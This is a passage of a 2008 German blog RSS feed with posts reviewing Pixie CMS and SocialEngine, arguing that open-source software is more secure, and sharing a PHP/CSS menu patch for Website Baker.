<p>Auf der WebSite zu Pixie findet man auch eine <a href="http://demo.getpixie.co.uk/admin/"  target="_blank" title="Link zu demo.getpixie.co.uk">Demo-Version des Backends / der Adminseite</a> (demo.getpixie.co.uk). Alle &#196;nderungen die man dort vornimmt werden alle 30 Minuten durch die urspr&#252;ngliche Version ersetzt, um denen die in Demos Unfug treiben etwas den Spass zu nehmen. ;O)</p>
<p>Die runtergeladene ZIP-Datei von Pixie enth&#228;lt nach dem Entpacken ca. 3,1 MB an Dateien, die man auf den eigenen Server hochladen mu&#223;. Die Installation ist sehr einfach gehalten. Das Installationsscript m&#246;chte nur die Zugangsdaten zur Datenbank wissen und nachdem man ein Passwort f&#252;r den SuperAdmin vergeben hat, kann man sofort loslegen.</p>
<p>Man kann &#8220;Dynamic&#8221;-, &#8220;Static&#8221;- oder &#8220;Module/Plugin&#8221;-Seiten erstellen. Dynamische Seiten sind blogartige Seiten, auf denen Kommentare hinterlassen werden k&#246;nnen und f&#252;r die man auch RSS-Feeds anbieten kann. Wenn man m&#246;chte kann man verschiedene Blogs in dem System verwalten und auch f&#252;r jeden einen eigenen RSS-Feed anbieten. Statische Seiten kann man z.B. f&#252;r das Impressum benutzen, also Seiten auf denen man keine Kommentare w&#252;nscht und wof&#252;r man auch keinen RSS-Feed anbietet. Der Seiten-Typ Module/Plugins ist f&#252;r die Erweiterungen des Backends wie z.B. die Verwaltung von Kommentaren, RSS-Feeds, Kontaktformular, etc. vorgesehen.</p>
<p>Eine Besonderheit in Pixie sind die sogenannte &#8220;Blocks&#8221;. Dies sind Code-Schnipsel in HTML/PHP die man in separaten Dateien abspeichert. Diese k&#246;nnen z.B. eine Tagcloud, RSS-Feeds fremder Seiten oder News, etc. enthalten.</p>
<p>Dies ist z.B. der Blocks-Code f&#252;r das Einbinden von einem RSS-Feed:</p>
<p><code>&lt;div id=&quot;block_mgumw&quot; class=&quot;block&quot;&gt;<br />
&lt;div class=&quot;block_header&quot;&gt;&lt;h4&gt;Mein Gott und meine Welt&lt;/h4&gt;&lt;/div&gt;<br />
&lt;div class=&quot;block_body&quot;&gt;&lt;ul&gt;<br />
&lt;?php<br />
echo &quot;\n&quot;;<br />
$feed = new SimplePie('http://meingottundmeinewelt.de/feed/');<br />
$feed-&gt;handle_content_type();<br />
foreach ($feed-&gt;get_items() as $item):<br />
$itemlink = $item-&gt;get_permalink();<br />
echo &quot;\t\t\t\t\t\t\t&lt;li&gt;&lt;a href=\&quot;&quot;.$item-&gt;get_permalink().&quot;\&quot;&gt;&quot;.$item-&gt;get_title().&quot;&lt;/a&gt;&lt;/li&gt;\n&quot;;<br />
endforeach;<br />
echo &quot;\n&quot;;<br />
?&gt;<br />
&lt;/ul&gt;&lt;/div&gt;&lt;div class=&quot;block_footer&quot;&gt;&lt;/div&gt;&lt;/div&gt;</code></p>
<p>In jede Seite kann man je nach Wunsch diese Blocks einf&#252;gen, auch dies funktioniert ganz einfach. Die Blocks werden vom CMS selber erkannt (alle Dateien im Blocks-Ordner). Die Blocks die man zu einer Seite hinzuf&#252;gen m&#246;chte klickt man einfach an, um sie zu aktivieren oder um sie zu deaktivieren.<br />
<a href="../../../../../../wp-content/images/pixie-2-1.gif" rel="lightbox[blocks]" title="Die Blocks twitter und digg sind aktiviert."><img src="../../../../../../wp-content/images/pixie-2-1.gif" alt="Pixie Blocks 1" border="0" /></a><br />
(Klick auf das Bild &#246;ffnet drei Bilder mit Erkl&#228;rungstext.)<br />
<br class="clearboth" /><br />
Um die Reihenfolge der Men&#252;punkte zu &#228;ndern mu&#223; man nur auf der Pages-Seite die kleinen Pfeile rechts auf dem blauen Balken anklicken, die Maustaste halten, den Men&#252;punkt verschieben und die Maustaste los lassen. Dank <a href="http://de.wikipedia.org/wiki/Ajax_(Programmierung)"  target="_blank" title="Link zu Wikipedia">Ajax</a> (de.wikipedia.org) mu&#223; nichts best&#228;tigt werden, die &#196;nderungen sind sofort aktiv.<br />
<a href="../../../../../../wp-content/images/pixie-1-1.gif" rel="lightbox[menue]" title="Die Reihenfolge vor dem Verschieben."><img src="../../../../../../wp-content/images/pixie-1-1.gif" alt="Pixie Men&#252;reihenfolge" border="0" /></a><br />
(Klick auf das Bild &#246;ffnet drei Bilder mit Erkl&#228;rungstext.)<br />
In anderen CMS kann man nat&#252;rlich auch die Reihenfolge der Men&#252;punkte &#228;ndern, nur dort meist nicht so einfach wie in diesem.<br />
<br class="clearboth" /><br />
Auch die Darstellung der einzelnen Seiten ist sehr gut gelungen. Es wird einem nicht eine lange Liste der Men&#252;punkte angezeigt:<br />
<img src="../../../../../../wp-content/images/pixie-3.gif" alt="Pixie Men&#252;reihenfolge" border="0" /><br />
Wie man bei dieser Darstellung schon vermuten kann&#8230; bisher ist es nicht m&#246;glich Submen&#252;s anzulegen.<br />
<br class="clearboth" /><br />
Was mir sehr gut gef&#228;llt ist die einfache Handhabung des Backends, man mu&#223; nicht lange suchen um eine neue Seite zu erstellen oder &#196;nderungen an bestehenden Seiten durchzuf&#252;hren.</p>
<p>Neue Themes/Templates werden per FTP in den Template-Ordner gespeichert und k&#246;nnen dann, wie auch in WordPress, einfach durch einen Klick auf das Vorschaubild im Backend f&#252;r die WebSite aktiviert werden.</p>
<p>An Datensicherung wurde auch gedacht. Es gibt eine Backup-Funktion um die Datenbank des CMS zu sichern. Die gespeicherten Backups lassen sich dann entweder per FTP oder direkt aus dem Backend heraus downloaden. Die Backups werden archiviert, damit man auch auf &#228;ltere Sicherungen zugreifen kann. Die archivierten Backups lassen sich &#252;ber das Backend auch wieder l&#246;schen, wobei das letzte Backup nicht gel&#246;scht werden kann.</p>
<p>Einschr&#228;nkend mu&#223; ich allerdings sagen das dieses CMS erst in der Version 1.0 vorliegt und das eine oder andere noch nicht so ganz rund l&#228;uft und auch noch verschiedene Features fehlen. Man kann z.B. nicht f&#252;r jede Seite Meta-TAGs f&#252;r Keywords und Description angeben, sondern nur global f&#252;r alle Seiten die gleichen, was aber mittlerweile zu verschmerzen ist da die Suchmaschinen eh den angezeigten Text einer WebSite indexieren und den Meta-TAGs wenig Beachtung schenken.</p>
<p>Auf jeden Fall sollte man dieses Open Source CMS im Auge behalten, ich glaube da k&#246;nnte in Zukunft ein gute Alternative f&#252;r kleine WebSites heranwachsen.</p>
<p><a href="../../../../../../wp-content/images/pixie-2-2.gif" rel="lightbox[blocks]" title="Blocks twitter wurde deaktiviert."></a><br />
<a href="../../../../../../wp-content/images/pixie-2-3.gif" rel="lightbox[blocks]" title="Blocks rss wurde aktiviert."></a><br />
<a href="../../../../../../wp-content/images/pixie-1-2.gif" rel="lightbox[menue]" title="Der Men&#252;punkt der verschoben werden soll wird etwas transparent dargestellt.."></a><br />
<a href="../../../../../../wp-content/images/pixie-1-3.gif" rel="lightbox[menue]" title="Die Reihenfolge nach dem Verschieben."></a></p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/09/08/pixie-cms-mit-blogs-plugins-etc-aus-uk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selfmade-Facebook</title>
		<link>http://meingottundmeinewelt.de/2008/08/27/selfmade-facebook/</link>
		<comments>http://meingottundmeinewelt.de/2008/08/27/selfmade-facebook/#comments</comments>
		<pubDate>Wed, 27 Aug 2008 17:56:41 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=570</guid>
		<description><![CDATA[F&#252;r einen Kunden und ein laufendes Projekt habe ich nach einer Software gesucht mit der man etwas Kundenbindung betreiben kann &#8211; eine Community. &#8220;Boahhhh&#8230; nich noch eine&#8230;&#8221; Doch doch. ;O) SocialEngine hei&#223;t das Teil und sieht sehr nach Facebook aus. Drauf gebracht hat mich mein Marketing-Gott. Auf der WebSite der Entwickler (socialengine.net) gibt es zwei [...]]]></description>
			<content:encoded><![CDATA[<p>F&#252;r einen Kunden und ein laufendes Projekt habe ich nach einer Software gesucht mit der man etwas Kundenbindung betreiben kann &#8211; eine Community.</p>
<p>&#8220;Boahhhh&#8230; nich noch eine&#8230;&#8221; Doch doch. ;O)</p>
<p>SocialEngine hei&#223;t das Teil und sieht sehr nach Facebook aus. Drauf gebracht hat mich mein <a href="http://topblogsnetwork.blog.de/"  target="_blank" title="Link zu topblogsnetwork.blog.de">Marketing-Gott</a>.</p>
<p>Auf der WebSite der Entwickler (<a href="http://www.socialengine.net/"  target="_blank" title="Link zu socialengine.net">socialengine.net</a>) gibt es zwei Demos, einmal f&#252;r das <a href="http://demo.socialengine.net/home.php"  target="_blank" title="Link zu socialengine.net">Front</a>- und einmal f&#252;r das <a href="http://demo.socialengine.net/admin/admin_login.php"  target="_blank" title="Link zu socialengine.net">Backend</a>.</p>
<p>Man kann erstmal mit der <a href="http://www.socialengine.net/trial.php"  target="_blank" title="Link zu socialengine.net">15-Tage-Trial-Version</a> und allen PlugIns rumspielen und schauen ob einem die Software gef&#228;llt.</p>
<p>Die 15-Tage-Trial-Version kommt gleich mit folgenden PlugIns daher:</p>
<ul>
<li>Photo Albums<br />Video ist zwar auch m&#246;glich, aber das sieht noch nicht so gut aus. Kein Vorschaubild und die Gr&#246;&#223;e des Films ist beim Abspielen nicht korrekt.</li>
<li>Blogs</li>
<li>Groups</li>
<li>Events</li>
<li>Chat</li>
<li>Classifieds (Kleinanzeigen)</li>
<li>Polls</li>
<li>Music</li>
</ul>
<p>Die Jungs wollen einen nat&#252;rlich Anfixen, damit man m&#246;glichst alle PlugIns kauft. Ach so, ja, das Teil kostet was, auch wenn es Open Source ist. :O)<br />
Open Source != kostenlos </p>
<p>250 Dollar kostet die SocialEngine selber und f&#252;r die PlugIns jeweils kommen nochmal 30 oder 40 Dollar hinzu. Ich denke wer sich die Trial-Version angeschaut hat wird kaum maulen. F&#252;r ca. 170 Euro will ich das sicher nicht selber programmieren und je PlugIn zwischen 20 und 27 Euro ist auch ok.</p>
<p>Wenn man die Trial-Version ausprobiert dann sind alle Dateien mit <a href="http://www.ioncube.com/"  target="_blank" title="Link zu ioncube.com">ionCube</a> verschl&#252;sselt, weswegen man die php.ini am Server manipulieren mu&#223;. Einfach zend_extension = /home/www/user/html/ioncube/ioncube_loader_xyz.so in die php.ini einbauen und gut. Das setzt nat&#252;rlich voraus, das der Hosting-Provider einem dazu &#252;berhaupt die M&#246;glichkeit bietet. In der ZIP-Datei der Trial-Version steckt auch eine Helper-Datei von ionCube. Wenn man diese Datei aufruft wird einem angezeigt welchen Loader man einbinden mu&#223;, je nach Server-Betriebssystem und Versionsnummer ein anderer. In der ZIP sind schon einige Loader mit enthalten, sollte aber nicht der richtige dabei sein, so findet man auf der WebSite &#8220;<a href="http://www.ioncube.com/loaders.php"  target="_blank" title="Link zu ioncube.com">Loaders for ionCube Encoded Files</a>&#8221; noch weitere.</p>
<p>Was mir sehr positiv aufgefallen ist, ist die M&#246;glichkeit das der User seinen Account selber l&#246;schen kann. Ein User sollte sich dies aber gut &#252;berlegen, denn es wird wirklich alles vom User gel&#246;scht, jeglicher Content und, bis auf die Logs seiner Login-Versuche, auch alle Eintr&#228;ge in der Datenbank. In den bekannten Communitys gibt es kaum die M&#246;glichkeit seinen Account selber zu l&#246;schen, da mu&#223; man dann den Admin darum bitten und wenn es dann doch mal m&#246;glich ist, dann kommt es vor das der Usercontent noch immer vorhanden ist. Also vom Datenschutz her bietet die SocialEngine eine sauber L&#246;sung an. Da die Software Open Source ist bleibt nat&#252;rlich die Gefahr das der Betreiber der Community den User-L&#246;sch-Vorgang deaktiviert. Nun gut, man sollte eh nicht zu viele und nicht <em>zu</em> pers&#246;nliche Daten im Netz hinterlassen.</p>
<p>Mein erster Eindruck ist sehr gut. Der Quellcode sieht recht sauber aus (<a href="http://www.socialengine.net/demos.php"  target="_blank" title="Link zu socialengine.net">Code Sample</a>), mit Beschreibung darin, da kann man relativ einfach &#196;nderungen/Erweiterungen vornehmen. Die Bedienung im Backend ist logisch und einfach. Und das Frontend stellt den User auch sicher nicht vor R&#228;tsel. Sofern man nicht grad eine Video-Community aufbauen will, ist die SocialEngine sehr brauchbar.</p>
<p>Wenn ich mir die SocialEngine genauer angeschaut habe werde ich sicher wieder dar&#252;ber schreiben und den Entwicklern meine Liste der Bugs senden &#8211; ich finde immer etwas. :O)</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/08/27/selfmade-facebook/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Warum Open Source sicher ist</title>
		<link>http://meingottundmeinewelt.de/2008/08/14/warum-open-source-sicher-ist/</link>
		<comments>http://meingottundmeinewelt.de/2008/08/14/warum-open-source-sicher-ist/#comments</comments>
		<pubDate>Thu, 14 Aug 2008 13:38:52 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[Korinthenkacker]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/?p=537</guid>
		<description><![CDATA[&#8220;Kritische L&#252;cke in Joomla! wird aktiv ausgenutzt&#8221; (heise.de) &#8220;Kritische Sicherheitsl&#252;cke in Joomla&#8221; (golem.de) An solchen Problemen wie aktuell in der 1.5er Serie von Joomla sieht man das Open Source funktioniert. In propriet&#228;rer Software (i.d.R. Closed Source) gibt es nat&#252;rlich auch immer wieder Fehler, die dann aber nicht so schnell erkannt werden und wo der Hersteller [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://www.heise.de/newsticker/Kritische-Luecke-in-Joomla-wird-aktiv-ausgenutzt--/meldung/114190"  target="_blank" title="Link zu heise.de">Kritische L&#252;cke in Joomla! wird aktiv ausgenutzt</a>&#8221; (heise.de)<br />
&#8220;<a href="http://www.golem.de/0808/61698.html"  target="_blank" title="Link zu golem.de">Kritische Sicherheitsl&#252;cke in Joomla</a>&#8221; (golem.de)</p>
<p>An solchen Problemen wie aktuell in der 1.5er Serie von Joomla sieht man das Open Source funktioniert. In <a href="http://de.wikipedia.org/wiki/Propriet%C3%A4r"  target="_blank" title="Link zu Wikipedia">propriet&#228;rer</a> Software (i.d.R. Closed Source) gibt es nat&#252;rlich auch immer wieder Fehler, die dann aber nicht so schnell erkannt werden und wo der Hersteller evtl. auch versucht Informationen dar&#252;ber zu unterdr&#252;cken. (&#8220;<a href="http://www.heise.de/newsticker/Maulkorb-fuer-MIT-Studenten--/meldung/114062"  target="_blank" title="Link zu heise.de">Maulkorb f&#252;r MIT-Studenten</a>&#8221; heise.de)</p>
<p>Wenn man selber betroffen ist k&#246;nnte man der Meinung verfallen das Fehler bitte nicht ver&#246;ffentlicht werden, um keine Hacker anzulocken. Nur leider wiegt man sich dann in einer tr&#252;gerischen Sicherheit, denn es gibt einen Markt f&#252;r sogenannte <a href="http://de.wikipedia.org/wiki/Exploit"  target="_blank" title="Link zu Wikipedia">Exploits</a>. &#8220;Ein Exploit ist eine Software oder eine Sequenz von Befehlen, welche spezifische Schw&#228;chen beziehungsweise Fehlfunktionen eines anderen Computerprogramms zur Erlangung von Privilegien oder in Absicht einer DoS-Attacke ausnutzt&#8221;. (Quelle: Wikipedia)</p>
<p>Die Geheimniskr&#228;merei von Unternehmen bez&#252;glich Fehlern in eigenen Produkten ist f&#252;r den Exploit-Markt nat&#252;rlich sehr f&#246;rderlich. Der K&#228;ufer kann davon ausgehen das der erworbene Exploit noch funktioniert, da der Fehler nicht &#246;ffentlich geworden ist. Sobald ein Fehler &#246;ffentlich geworden ist, wird niemand auch nur einen Euro f&#252;r einen Exploit ausgeben. Einerseits nat&#252;rlich weil er &#246;ffentlich, also kostenlos, verf&#252;gbar ist, aber andererseits auch weil davon auszugehen ist das der Fehler durch Softwareupdates bereinigt wurde. </p>
<p>Open Source bedeutet <strong>nicht</strong> kostenlos, sondern nur das der Sourcecode (der Quellcode, die Programmierung oder wie auch immer ein Laie es bezeichnen m&#246;chte) frei einsehbar f&#252;r jeden ist. Da es viele Korinthenkacker (wie mich &lt;g&gt;) gibt, die in den Code reinschauen, um Fehler zu finden oder um neue Funktionen oder Verbesserungen vorzuschlagen bzw. selber umzusetzen, hat Open Source einen Vorteil gegen&#252;ber Closed Source. In diesem Fall verderben die vielen K&#246;che den Brei nicht!</p>
<p>Der %-Bug von dem ich <a href="http://meingottundmeinewelt.de/2008/08/07/unsichere-bildungseinheiten/" >letztens</a> berichtet habe, wurde seit der Installation vor &#252;ber einem Jahr, nicht gefixt. Und warum? Weil es propriet&#228;re Software ist! Der/die Entwickler haben Fehler gemacht, da aber au&#223;er ihnen niemand Zugang zum Source Code hat, wurden diese Fehler nicht entdeckt bzw. die Entdeckung wurde nicht &#246;ffentlich. Es kann ja durchaus sein das die Fehler schon gefunden wurden und das da jemand die pers&#246;nlichen Daten aller User einsieht und auch schon aktiv die Passworte auf anderen WebSites benutzt hat, auf denen die User mit dem gleichen Passwort angemeldet sind.</p>
<p>Ich glaube fest daran &#8211; Open Source hat eine gute Zukunft.</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/08/14/warum-open-source-sicher-ist/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Men&#252;-Sonderanfertigung f&#252;r Website Baker</title>
		<link>http://meingottundmeinewelt.de/2008/04/04/menue-sonderanfertigung-fuer-website-baker/</link>
		<comments>http://meingottundmeinewelt.de/2008/04/04/menue-sonderanfertigung-fuer-website-baker/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 21:59:50 +0000</pubDate>
		<dc:creator>ich</dc:creator>
				<category><![CDATA[myQuellcode]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://meingottundmeinewelt.de/2008/04/04/menue-sonderanfertigung-fuer-website-baker/</guid>
		<description><![CDATA[F&#252;r nicht zu umfangreiche WebSites benutze ich gerne das CMS Website Baker, da das Backend auch von Usern bedient werden kann, durch deren Adern keine Bits &#38; Bytes flie&#223;en. ;O) Einen Haken hat Website Baker: Wenn ein Men&#252; verschachtelt ist, mit Sub- und SubSubMen&#252;s, dann ist die eingebaute Funktion show_menu relativ unbrauchbar und das Modul [...]]]></description>
			<content:encoded><![CDATA[<p>F&#252;r nicht zu umfangreiche WebSites benutze ich gerne das CMS <a href="http://start.websitebaker2.org/de/einfuehrung.html" title="Link zur offiziellen deutschen Seite zu Website Baker"  target="_blank">Website Baker</a>, da das Backend auch von Usern bedient werden kann, durch deren Adern keine Bits &amp; Bytes flie&#223;en. ;O)</p>
<p>Einen Haken hat Website Baker: Wenn ein Men&#252; verschachtelt ist, mit Sub- und SubSubMen&#252;s, dann ist die eingebaute Funktion show_menu relativ unbrauchbar und das Modul <a href="http://addons.websitebaker.org/pages/modules/code-snippets.php" title="Link zur Downloadseite"  target="_blank">show_menu2</a>, welches man nachinstallieren kann, taugt leider auch nicht viel. Die Doku zu show_menu2 ist grottig und die Beispiele zeigen nicht das was ich haben m&#246;chte.</p>
<p>Mit der eingebauten show_menu-Funktion sieht ein Men&#252; z.B. so aus:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="518" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="quality" value="high" /><param name="scale" value="exactfit" /><param name="menu" value="true" /><param name="bgcolor" value="#ffffff" /><param name="src" value="../../../../../wp-content/videos/gghwbmenue-1.swf" /><embed type="application/x-shockwave-flash" width="425" height="518" src="../../../../../wp-content/videos/gghwbmenue-1.swf" bgcolor="#ffffff" menu="true" scale="exactfit" quality="high"></embed></object></p>
<p>Da diese Darstellung sehr unbefriedigend ist und immer nur der gerade aktive Men&#252;punkt hervorgehoben wird, habe ich an einer Systemdatei des CMS etwas rumgefingert und dann sieht das gleiche Men&#252; folgenderma&#223;en aus:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="420" height="518" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="quality" value="high" /><param name="scale" value="exactfit" /><param name="menu" value="true" /><param name="bgcolor" value="#ffffff" /><param name="src" value="../../../../../wp-content/videos/gghwbmenue-2.swf" /><embed type="application/x-shockwave-flash" width="420" height="518" src="../../../../../wp-content/videos/gghwbmenue-2.swf" bgcolor="#ffffff" menu="true" scale="exactfit" quality="high"></embed></object></p>
<p>In die class.frontend.php von Website Baker 2.6.7 habe ich ab Zeile 367 (V 2.7: Zeile 381) folgendes eingef&#252;gt:</p>
<p><code>if (ROOT_PARENT==$page['page_id'] and $class==' class=&quot;menu_default&quot;') {<br />
$class = str_replace('menu_default&quot;', 'menu_default level0&quot;', $class);<br />
} elseif (PARENT==$page['page_id'] and $class==' class=&quot;menu_default&quot;') {<br />
$class = str_replace('menu_default&quot;', 'menu_default level1&quot;', $class);<br />
} elseif (LEVEL==0 and $class==' class=&quot;menu_current&quot;') {<br />
$class = str_replace('menu_current&quot;', 'menu_current level0&quot;', $class);<br />
}<br />
</code><br />
Und das CSS dazu enth&#228;lt folgendes:</p>
<p><code>#menue { font-size: 0.8em; line-height: 25px;}<br />
#menue ul { margin: 0; padding: 0; }<br />
#menue ul li { list-style: none; display: inline; margin: 0; padding: 0;}<br />
#menue ul li a { color: #222222; text-decoration: none; display: block; padding-left: 5px; background-image: url(../img/menu-bg.jpg); border-bottom: 1px solid #aeaeae; }<br />
#menue ul li a:hover {background-color: #cccccc; }<br />
#menue ul li a.menu_current { background-color: #cccccc; color: #000000; }<br />
#menue ul ul li a {padding-left: 20px; background: #ebebeb; }<br />
#menue ul ul ul li a { padding-left: 35px; }<br />
#menue ul ul ul ul li a { padding-left: 45px; }<br />
#menue ul li a.level0 { background-image: url(../img/menu-activ-bg.jpg); color: #FFF;}<br />
#menue ul li a.level1 { background-color: #ebebeb; color: #066a38;}</code></p>
<p>Vielleicht bin ich auch nur zu dumm, um das Modul show_menu2 richtig zu benutzen, aber nach mehreren Stunden t&#252;fteln, Googlesuche und Doku lesen, war es f&#252;r mich sehr viel einfacher (und schneller) etwas am Website Baker Quellcode abzu&#228;ndern, was nun genau das macht was ich will. Bei solchen Aktionen lernt man auch etwas &#252;ber das Innenleben einer Open Source Software. :O)</p>
]]></content:encoded>
			<wfw:commentRss>http://meingottundmeinewelt.de/2008/04/04/menue-sonderanfertigung-fuer-website-baker/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

